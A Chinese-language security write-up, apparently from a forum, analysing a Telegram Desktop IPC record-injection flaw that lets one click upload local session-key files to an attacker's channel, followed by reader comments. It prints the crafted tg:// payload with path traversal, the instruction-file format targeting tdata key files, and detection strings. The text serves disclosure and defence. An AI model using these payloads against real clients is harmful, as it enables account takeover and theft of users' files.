发布时间:2026 年 10 月 10 日
漏洞编号:CVE-2026-107181
危害定性:高危 · 远程 · 单次点击即可窃取会话密钥并接管账号
1. 概述
近期,安全研究团队 BeakSec 的研究员 Emiliano Versini 公开披露了即时通讯客户端 Telegram Desktop 的一个高危漏洞(CVE-2026-107181)。该漏洞本身并不依赖任何复杂的利用技巧,却能达到极其严重的后果:攻击者只需诱导受害者在浏览器中点击一次普通链接,即可让受害者的 Telegram 客户端把本地任意文件(包括保存账号登录态的核心密钥文件)自动上传到攻击者控制的频道或超级群组,进而完整接管受害者的 Telegram 账号。
漏洞的根因并不在加密算法或网络协议层,而出现在一个容易被忽视的地方——桌面客户端的"单实例进程间通信(IPC)"机制。Telegram Desktop 在打开 tg:// 协议链接时,会把链接参数通过本地套接字(QLocalSocket)交给已经在运行的实例处理;而该 IPC 通信的记录分隔符(分号 ;)在发送端没有被正确转义(转义缺失,CWE-143)。攻击者利用这一点,把一条 tg:// 链接"撑开"成多条内部指令,进而调用一个本不该对外暴露的内部功能,实现不受限的本地文件读取与外发。
由于该链路同时满足了"无需受害者安装恶意软件""无需攻破系统边界""只需一次点击"三个条件,其隐蔽性与成功率远高于传统钓鱼木马。截至披露日,尚无公开证据表明该漏洞已被在野利用,但由于攻击成本极低、面向的是使用极广的桌面即时通讯工具,潜在风险不容低估。该漏洞已在 Telegram Desktop 7.2.9(2026 年 9 月 17 日发布)中修复。
本文综合 VulnCheck 官方公告、MITRE CVE 记录、BeakSec 技术分析原文及公开披露信息,从漏洞根因、攻击链、危害后果、威胁框架映射和防护建议等方面进行梳理,供安全从业人员与终端用户参考。
2. 漏洞基本信息
| 属性 | 内容 |
|---|---|
| 漏洞名称 | Telegram Desktop IPC 记录分隔符注入导致本地文件泄露(经 interpret: 方案) |
| CVE 编号 | CVE-2026-107181 |
| 缺陷类型 | CWE-143 Improper Neutralization of Record Delimiters(记录分隔符未正确中性化) |
| 影响产品 | Telegram Desktop ≥ 0,< 7.2.9 |
| 修复版本 | Telegram Desktop 7.2.9(2026-09-17 发布) |
| 严重级别 | High(高危) |
| CVSS v4.0 | 8.6 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| 发现者 | Emiliano Versini(BeakSec) |
| CVE 分配机构 | VulnCheck(2026-10-07 公开发布) |
| 主要影响平台 | Windows(PoC 环境),其他使用 Telegram Desktop 桌面端的平台同样受代码逻辑影响 |
| 修复提交 | telegramdesktop/tdesktop commit db34056 |
从 CVSS 向量可以看出该漏洞的几处关键属性:攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),但需要受害者的交互(UI:P,即一次点击);成功利用后对机密性与完整性均为高度影响(VC:H / VI:H),而对可用性无影响(VA:N)。这与后文描述的"任意文件读取 + 外发"完全吻合。
3. 漏洞根因分析
该漏洞并非单一缺陷造成,而是两处相互独立的薄弱点在同一攻击路径上叠加的结果。理解这两处缺陷,是理解整条攻击链的前提。
3.1 前置背景:桌面客户端的单实例 IPC 机制
操作系统将 tg:// 协议注册给了 Telegram Desktop。当用户点击一个 tg:// 链接时,系统会启动一个新的 Telegram 进程;而由于 Telegram Desktop 采用"单实例"设计,这个新进程通常不会再开一个窗口,而是把 URL 通过本地套接字(QLocalSocket)传递给已在运行的实例,随后自身退出。
这条 IPC 通道的序列化格式非常简单粗暴——以"关键字 + 参数 + 分号"为一条记录,例如:
OPEN:tg://x?a=1;
接收端(已运行的主实例)按分号把收到的字符串切分成若干段,并把每一段都当作一条独立指令去执行。
3.2 第一处缺陷:发送端未转义记录分隔符
问题恰恰出在这里:发送端在把 URL 写入套接字之前,没有对 URL 中出现的分号进行转义。
正常场景下,URL 参数里几乎不会出现分号,因此这个"分隔符即记录边界"的设计多年未被触发。但攻击者可以刻意构造一条包含分号的 tg:// 链接:
tg://x?a=1;OPEN:interpret:...
客户端会原封不动地把整串内容写入套接字;主实例按分号切开后,就得到了两条指令——原本只是一条无害的 URL 打开请求,凭空多出来一条攻击者想要的"OPEN:interpret:"指令。这就是注入点,位于 sandbox.cpp 的单实例通信逻辑中(v7.2.8 版本对应 core/sandbox.cpp 第 362–364 行)。
需要说明的是,可用的内部指令并不多:CMD: 仅支持 show / quit,本身危害有限;真正危险的是 OPEN: 指令——它接受任意 URL,且不限制 scheme(协议头)。正是这条"不挑协议"的 OPEN:,为下一处缺陷打开了大门。
3.3 第二处缺陷:内部 interpret: 方案缺少授权校验
interpret: 并不是操作系统注册的协议,它只存在于 Telegram Desktop 内部,原本是给官方发布流程使用的一个"后门式"helper:构建脚本写好一个纯文本指令文件,再启动客户端,由客户端读取该文件,并把文件里指定的安装包上传到发布频道。
指令文件的大致格式如下:
from: 1234567890 # 用于核对当前登录账号
channel: 2001234567 # 目标频道 / 超级群组
file: tdata/key_datas # 要读取并上传的本地文件
caption: poc # 可选的文字说明
两处设计缺陷让这个内部方案变得危险:
from:校验可以被直接跳过。 该字段本意是"核对当前登录账号是否为发布者",但只要整行省略不写,检查就被完全跳过——攻击者自然会把这一行删掉。- 文件路径缺少规范化(
../未过滤)。 处理函数InterpretSendPath(v7.2.8 对应support/support_helper.cpp第 673–751 行)会直接按给定路径打开文件并上传,且不向调用者做任何额外确认。相对路径没有对../做清理,因此可以从基准服务目录"穿越"到受害者磁盘上的几乎任意位置。
这两点叠加后,一个本应"内部专用、需人工触发"的发布辅助功能,就变成了一条可由外部点击触发、指向任意本地文件的读取外发通道。
3.4 缺陷叠加:从"点击链接"到"任意文件外发"
单看任何一处缺陷都不足以形成完整攻击:分号注入只提供了"塞进额外指令"的能力,而 interpret: 只是个需要人工操作的内部功能。但当注入点(第一处)与无授权校验的内部读取功能(第二处)在同一条 IPC 链路上被打通,攻击者就获得了一个原语(primitive):在受害者机器上读取其有权限访问的任意文件,并把文件内容静默上传到攻击者指定的频道。 后续只需把目标文件选为 Telegram 的会话密钥文件,账号接管便水到渠成。
4. 攻击链分析
公开分析描述的完整利用路径依赖默认配置 + 一次点击,整体流程如下图所示。
flowchart TD
A["攻击者创建超级群组<br/>并将受害者拉入(默认无需对方确认)"] --> B["群内投放若干纯文本指令文件<br/>channel: 指向攻击者频道,file: 指向目标路径"]
B --> C["受害者打开群聊<br/>文件被客户端自动下载到本地下载目录"]
C --> D["攻击者发送一条普通 https 链接"]
D --> E["受害者点击链接<br/>攻击者服务器 302 跳转到构造好的 tg:// URL"]
E --> F["系统调用 tg:// 处理器<br/>启动第二个 Telegram 进程"]
F --> G["新进程把 URL 经本地 socket<br/>交给已运行的主实例"]
G --> H["分号未转义 → 被切分为多条指令<br/>注入的 OPEN:interpret: 被执行"]
H --> I["interpret: 读取指令文件<br/>将 tdata 会话密钥文件静默上传至攻击者频道"]
I --> J["攻击者用窃取的文件重建 tdata<br/>打开受害者会话 → 账号接管"]
各阶段要点如下。
4.1 前置条件
该链路的成立依赖以下条件,而这些条件在默认配置下大多自动满足:
- Telegram Desktop 版本 < 7.2.9;
- 客户端正在运行(这是单实例 IPC 存在的前提);
- 群组自动下载开启(默认阈值通常为 ≤ 8 MiB,指令文件远小于该阈值);
- 受害者被成功拉入攻击者的群组——Telegram 默认隐私设置下,非联系人也可以把用户拉入群组,无需对方确认;
- 受害者点击一次攻击者投递的链接。
4.2 第一步:把"剧本"提前放到受害者本地
攻击者创建超级群组并把受害者拉进去,随后在群内投放若干个纯文本指令文件。这些文件本身看上去人畜无害,但内容是精心构造的指令:
channel: 2001234567
file: tdata/key_datas
caption: poc
其关键点在于:channel: 指向攻击者自己的频道/群组作为数据接收点;file: 指向要被窃取的目标路径;而 from: 一行被故意省略,从而跳过账号核对检查。指令文件必须是纯文本、LF 换行、且不含字节序标记(BOM)。
由于受害者在打开群聊时,客户端会把这些小文件自动下载到本地(Windows 上通常在 Downloads\Telegram Desktop\),攻击者的"剧本"就这样被提前放到了受害者磁盘上的一个可预测路径中——而这一"自动下载 + 固定路径"的组合,恰好成了后续注入指令得以被定位的基础。
4.3 第二步:投递"看起来正常"的链接
攻击者随后向受害者发送一条普通的 https 链接(例如 https://corvus.sec/rules),再由自己的服务器通过 302 重定向把它替换为构造好的 tg:// URL:
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
(实际发送时为单行;此处为便于阅读做了换行。)其中每一条 OPEN:interpret: 对应一个待窃取文件,路径借助 ../ 逐级穿越到下载目录,指向刚才被自动下载的指令文件。
这里有一处值得注意的细节:如果该 tg:// 链接是在 Telegram 聊天窗口内部被点击的,它会被客户端"进程内"处理,不经过本地套接字,因而不存在可注入的通道。 所以攻击者必须引导受害者在系统浏览器中点击 https 链接,再由浏览器调用 tg:// 处理器——这既解释了为何要绕一层重定向,也解释了为何该攻击"天生"带有一次浏览器点击的交互要求(对应 CVSS 的 UI:P)。
4.4 第三步:注入触发与文件外发
受害者点击链接后,操作系统启动第二个 Telegram 进程,该进程把整串 URL 通过本地套接字交给已在运行的主实例。由于分号未被转义,主实例按分号切分,注入的 OPEN:interpret: 指令随即被执行。interpret: 读取前面被自动下载的指令文件,并按其中的 file: 路径读取本地文件、上传到攻击者的频道。
整个过程中不弹出任何确认对话框,也没有任何向用户提示"正在发送文件"的迹象。 对受害者而言,界面上几乎无任何异常。
4.5 第四步:重建会话,完成账号接管
三个指令文件意味着三个待窃取目标。公开分析中,攻击者选取的是 Telegram 存储会话数据的 tdata 目录中的三个文件:
tdata/
├── key_datas # 盐值(salt)与加密后的 DEK
├── D877F783D5D3EF8Cs # MTProto 授权信息,用 DEK 加密
└── D877F783D5D3EF8C/ # 账号存储数据的索引
└── maps
其中:
key_datas保存盐值与被加密的数据加密密钥(DEK);D877F783D5D3EF8Cs是 MTProto 授权(即登录态),用 DEK 加密;D877F783D5D3EF8C/是索引目录,本身不含机密,但客户端在读取授权信息时需要它。
那个看起来像随机串的目录名 D877F783D5D3EF8C 并非随机,也不因安装而异——它由字符串 data(默认的数据名)派生而来(见 storage_file_utilities.cpp 第 241–250 行),因此在每一台安装上都是同一个名字,攻击者可以提前预知其路径。
拿到这三份文件后,攻击者把它们放进一个全新的 tdata 目录、启动 Telegram,受害者的会话即可直接被打开,无需重新登录、无需短信验证。账号接管至此完成。
5. 本地密码对攻击的影响
该漏洞之所以能直达"账号接管",与 Telegram Desktop 的本地密钥封装方式密切相关。
Telegram 本地会话数据的加密采用 KEK/DEK 两层结构:用户设置的**本地密码(local passcode)**用于派生 KEK,KEK 再用来加解密 DEK,DEK 保护实际数据。问题在于——当用户未设置本地密码时,密钥派生使用的是空密码,此时攻击者只要拿到 key_datas 就等同于拿到了 DEK,而拿到 DEK 后,其余数据(包括会话授权)都可被解密。也就是说,在"未设本地密码"的默认状态下,窃取到的会话文件可以被直接使用,立即完成账号接管。
需要客观指出的是:设置本地密码并不能阻止文件被窃取,它只是抬高(而非消除)了后续利用的门槛——被偷走的文件仍需面对"离线破解本地密码"的风险。因此,本地密码是纵深防御措施,而非该漏洞的根治手段;真正能关掉这条通道的,是把客户端升级到 7.2.9 及以上版本。
6. 危害评估
综合公开信息,该漏洞的危害可归纳为以下几点:
- 账号被完整接管。 攻击者获得会话密钥后可在自有设备上"克隆"受害者的登录态,直接读取历史消息、私聊与群组内容,并以受害者身份收发消息、添加/拉人进群。对于把 Telegram 用作工作沟通渠道的用户,其影响可能从"个人账号"扩散到"工作关系链与敏感信息"。
- 本质是"任意文件读取"原语。 窃取对象并不限于
tdata。任何受害者的 Telegram Desktop 进程有权访问的本地文件(如用户目录下的 SSH 私钥、云服务凭据、浏览器存储、配置文件等)都可能被外发,危害存在明显的外溢空间。 - 攻击成本极低、隐蔽性强。 无需投递恶意软件、无需突破系统边界、无需受害者执行可疑程序;只要一次浏览器点击,且全程无提示。这使得它比传统钓鱼木马更容易规模化投放。
- 可批量化利用。 链接可伪装成任何"正常"的 https 地址发放;结合自动下载与固定路径的默认行为,攻击流程高度可复制。
- 修复被"静默"了。 7.2.9 的公开更新日志仅提及动画渲染相关修复,未提及该安全问题。这意味着大量用户不会因更新日志而意识到需要升级,继续停留在 7.2.8 及更早版本,长期暴露于风险之中。
目前公开渠道尚无该漏洞被在野利用的确证报告,但其技术门槛与收益比例决定了它具备被武器化的现实价值,值得高度重视。
7. 威胁框架视角的攻击映射
将该攻击活动映射到 MITRE ATT&CK 框架,涉及初始访问、执行、防御规避、收集、命令与控制、数据渗出等多个阶段的若干技术点,具体如下表所示(部分环节为攻击者可能延伸的行为):
| ATT&CK 阶段 | 具体行为 | 说明 |
|---|---|---|
| 资源开发 | 搭建基础设施 | 准备攻击者频道/超级群组、投递链接与重定向的服务器 |
| 初始访问 | 网络钓鱼(T1566) | 通过一条伪装正常的 https 链接诱导受害者点击 |
| 执行 | 诱导用户执行 | 借浏览器调用 tg:// 处理器,间接驱动客户端执行内部指令 |
| 防御规避 | 关闭安全机制 | 省略指令文件中的 from: 行,绕过账号核对;全程无提示,规避用户感知 |
| 防御规避 | 利用可信应用 | 借助 Telegram 自身的 IPC 与内部功能完成操作,行为不易被识别为异常 |
| 收集 | 本地数据收集 | 读取 tdata 会话文件及本地任意可访问文件 |
| 命令与控制 | 使用应用层通道 | 通过 Telegram 频道/超级群组作为数据回传落点 |
| 数据渗出 | 通过 C2 信道外发 | 将窃取文件经 Telegram 自身网络静默上传至攻击者频道 |
8. 检测与响应建议
8.1 检测要点
针对该攻击,可从进程与文件两个维度建立检测规则(以下为方向性示例,需结合环境调优,单一规则均可能产生误报,建议多条规则联合使用并叠加版本检查):
- 进程创建监测: 监控由 URI 处理器启动、命令行参数中同时包含
tg://与分号注入特征(如;OPEN:、;CMD:、;CTRL:、interpret:)的 Telegram 进程创建行为。 - 文件事件监测: 监控
Downloads\Telegram Desktop\*.txt中出现包含file: tdata/内容的文本文件被创建/写入的事件。
8.2 响应要点
若怀疑已中招,建议按"账号已被入侵"的最坏假设处置:
- 立即升级到 Telegram Desktop 7.2.9 或更高版本,避免二次点击重复触发。
- 在 Telegram 的会话列表(Devices/Sessions)中终止所有活动会话,并轮换两步验证(2FA)密码。
- 假设私聊与群组成员关系已被读取,评估信息暴露范围。
- 未设本地密码者,应假设
tdata已足以支撑平行客户端登录;已设本地密码者,应假设文件已外流、本地密码已成为离线破解的目标。 - 定位并保留受害者最近被拉入的可疑群组——指令文件与窃取所得通常都留在该群内,是重要取证对象。
- 在更大范围内检索是否存在同类群组邀请、同特征的
tg://命令行以及同名的下载文件。 - 记住该漏洞的本质是"任意文件读取":进一步排查该账号所在的桌面环境上还有哪些敏感文件可被读取(SSH 密钥、云凭据、浏览器存储等),并据此评估并处置次生风险。
9. 防护建议
9.1 对个人用户
- 尽快升级到 Telegram Desktop 7.2.9 或更高版本——这是唯一能真正关闭该通道的措施。注意检查客户端"设置"中的实际版本号。
- 开启"询问每个文件的保存位置"(Ask where to save each file)。开启后自动下载不再发生,指令文件根本不会落盘,这是除升级外最有效的缓解手段。
- 在隐私设置中,将"谁能把我拉进群组"限制为仅联系人。由于窃取文件只能被送往频道/超级群组,这可以直接拿走攻击者用于"收货"的落点。
- 设置本地密码,并当作真正的密码来设置(足够长)。 它不能阻止文件被窃取,但能显著提高被窃数据被直接利用的门槛。
- 谨慎对待来源不明的链接,尤其是会在浏览器中打开、并可能触发外部应用协议的短链与跳转链接。
9.2 对企业/组织的 IT 与安全团队
- 资产清点与强制升级: 统计内网 Telegram Desktop 分布与版本,推动 7.2.9 及以上版本的统一升级;对无法升级的终端下发补偿性策略。
- 终端策略加固: 通过终端管理平台统一下发"关闭群组自动下载""限制群组邀请来源""启用本地密码"等配置。
- 链路监测: 在终端与网络侧对上述进程/文件检测规则进行部署,将
tg://相关命令行与下载目录中的可疑指令文件纳入持续监控与告警。 - 替代与迁移: 对安全要求高的场景,评估使用官方渠道分发、可及时获得安全更新的客户端;避免继续使用基于 Telegram Desktop 代码、补丁滞后的非官方二次开发客户端。
- 安全提示与培训: 向员工明确"点击外部链接可能触发即时通讯客户端执行操作"的风险认知,将本次事件作为案例纳入培训。
9.3 对开发桌面应用(尤其带自定义协议)的厂商
该漏洞对所有"采用单实例架构 + 自定义 URI scheme"的桌面应用都具有普遍的借鉴意义,建议据此自查:
- 把 URI 参数当作不可信输入来编码。 第二个进程相当于一个"远程发言人",一次 URI 处理点击并不等于"我们自己稍后会处理"——应按处理网络协议的标准来处理本地 IPC。
- 分隔符必须转义,或根本不允许出现在数据中。 长度前缀(length-prefix)记录优于分隔符记录;若保留分隔符,则需同时转义分隔符本身、转义字符以及非 ASCII 范围,并在切分之后再做解码。
- 启动 URL 的分发器需要 scheme 白名单。 只对发布工程有用处的"私有动词",不应与套接字可投喂的指令共处同一张清单。
- 特权 helper 必须校验调用者。 "仅通过命令行调用"在别的进程也能填充 argv/套接字内容之后,不再构成任何授权模型。
- 删除遗留 helper,而不是隐藏它。 可选的"字段缺失即跳过"的安全检查,等同于没有检查——
from:就是活生生的教训。 - 自动下载 + 固定路径 = 投递器。 若客户端会把"由攻击者命名的文件"写入已知目录,就应假设这些文件会成为其他功能的参数。
- 默认关闭的本地加密形同虚设。 空密码加公开盐值,等于把 KEK 公之于众。
- 静默补丁无法触达真正需要它的人。 用一份"渲染修复"的更新日志来承载一个账号接管类修复,只会让大量终端长期停留在易受攻击的版本上。
10. 参考来源
- VulnCheck Advisory — Telegram Desktop before 7.2.9 IPC Record Injection File Exfiltration via interpret: Scheme(CVE-2026-107181)
- MITRE / CVE 官方记录 — CVE-2026-107181(VulnCheck 分配,2026-10-07 发布)
- BeakSec / Emiliano Versini — Telegram Desktop: one-click account takeover via IPC injection
- Telegram Desktop v7.2.9 发布说明与修复提交(
telegramdesktop/tdesktopcommitdb34056) - Telegram Desktop v7.2.8 源码位置:
core/sandbox.cpp(第 362–364 行)、support/support_helper.cpp(第 673–751 行)、storage_file_utilities.cpp(第 241–250 行) - 公开披露与媒体报道整理
说明:本文为基于公开权威技术分析的第三方整理与研判,所涉技术细节(版本、行号、CVE/CVSS 数据、攻击链描述)均来自上述公开来源,未做推测性延伸。

就不能让ai总结精简一下再发吗?
字忒少了,在写多点就有人看了
不使用客户端就没事吧
佬是专门研究这个的吗?上次的极点云漏洞好像也是你发的
就不能让AI总结的简短一些?
我记得2年前中招过,所有设备被秒踢下线,几天后看见账号在黑产群里发广告。当时还以为是乱登录被盗了。现在才知道是漏洞。
这个漏洞应该很早就有人挖到了,只是在小规模用。
好东西
真长
没有耐心看下去
流程图说得很清楚了
应该可以设置不允许被拉到新群组吧